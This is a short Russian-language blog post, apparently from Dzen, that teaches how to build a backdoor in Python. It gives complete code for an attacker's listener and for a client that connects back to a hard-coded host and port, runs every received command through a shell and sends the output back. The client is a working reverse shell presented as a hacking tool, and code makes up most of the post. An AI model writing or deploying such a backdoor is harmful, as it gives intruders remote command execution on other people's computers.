Найти в Дзене
57 подписчиков

Создание бэкдора на Python


Бэкдор — это инструмент, который позволяет хакеру удаленно подключиться к целевой машине. В этой статье я покажу, как создать простой бэкдор на Pyhton

Основная цель бэкдора — отправлять и выполнять команды и получить удаленный доступ к файлам на целевой системе.

Создание бэкдора на Python
Во-первых, мы должны создать сервер, на котором будем работать. Сервер будет состоять из четырех частей:

1) Получение нашего локального IP и указанного порта.
2) Привязка IP-адреса и порта для создания сокета.
3) Запуск слушателя.
4) Отправка и получение команд в бесконечном цикле.
# Imports
import socket

# Getting our local IP and a specified port
HOST = '127.0.0.1' # '192.168.43.82'
PORT = 8081 # 2222

new_port = input('Input Host Port (Blank if default).')
if (new_port != "\n"):
REMOTE_PORT = new_port

# Binding the IP to the Port
# Creating a Socket
server = socket.socket()
server.bind((HOST, PORT))

# Starting the Listener
print('[+] Server Started')
print('[+] Listening For Client Connection ...')
server.listen(1)
client, client_addr = server.accept()
print(f'[+] {client_addr} Client connected to the server')

# Sending and receiving commands in an infinite loop
while True:
command = input('Enter Command : ')
command = command.encode()
client.send(command)
print('[+] Command sent')
output = client.recv(1024)
output = output.decode()
print(f"Output: {output}")

Затем мы подключимся к атакующему на основе жестко запрограммированного IP-адреса и порта, поскольку он не может получить их динамически.
Поскольку мы запускаем эту обратную оболочку на локальной машине, сокет будет выглядеть так:
REMOTE_HOST = '127.0.0.1'
REMOTE_PORT = 8081 # 2222
client = socket.socket()

Далее мы должны получать команды и использовать библиотечный подпроцесс для открытия терминала и параллельного запуска команд. Вот как это будет выглядеть:
command = client.recv(1024)
command = command.decode()
op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)

Полный код сервера выглядит следующим образом:
# Imports
from ctypes.wintypes import INT
import socket
import subprocess

# Setting Up IP/Sockets
REMOTE_HOST = '127.0.0.1'
REMOTE_PORT = 8081 # 2222
client = socket.socket()

# Initializing Connection
print("[-] Connection Initiating...")
client.connect((REMOTE_HOST, REMOTE_PORT))
print("[-] Connection initiated!")

# Runtime Loop
while True:
print("[-] Awaiting commands...")
command = client.recv(1024)
command = command.decode()
op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
output = op.stdout.read()
output_error = op.stderr.read()
print("[-] Sending response...")
client.send(output + output_error)

2 минуты